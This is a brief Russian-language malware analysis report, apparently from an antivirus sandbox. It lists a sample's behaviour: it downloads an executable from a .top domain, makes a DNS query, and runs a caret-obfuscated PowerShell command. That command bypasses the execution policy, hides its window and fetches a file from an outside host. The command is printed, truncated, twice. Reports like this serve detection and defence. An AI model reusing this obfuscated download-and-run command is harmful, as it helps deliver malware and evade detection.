Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^WERSheL^L.^exe -ExEcu^T^i^OnP^o^l^ICY ^bYP^A^S^S ^-n^OpRoF^ILe^ ^-^wI^N^DOWst^Y^LE ^hidD^EN ^(nEw-Ob^J^e^C^t^ SYSTEm^.ne^T.^we^bCL^IeNt^).^DOWnlo^a^DfiL^e^('http://mondayhe...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^WERSheL^L.^exe -ExEcu^T^i^OnP^o^l^ICY ^bYP^A^S^S ^-n^OpRoF^ILe^ ^-^wI^N^DOWst^Y^LE ^hidD^EN ^(nEw-Ob^J^e^C^t^ SYSTEm^.ne^T.^we^bCL^IeNt^).^DOWnlo^a^DfiL^e^('http://mondayhe...' (со скрытым окном)
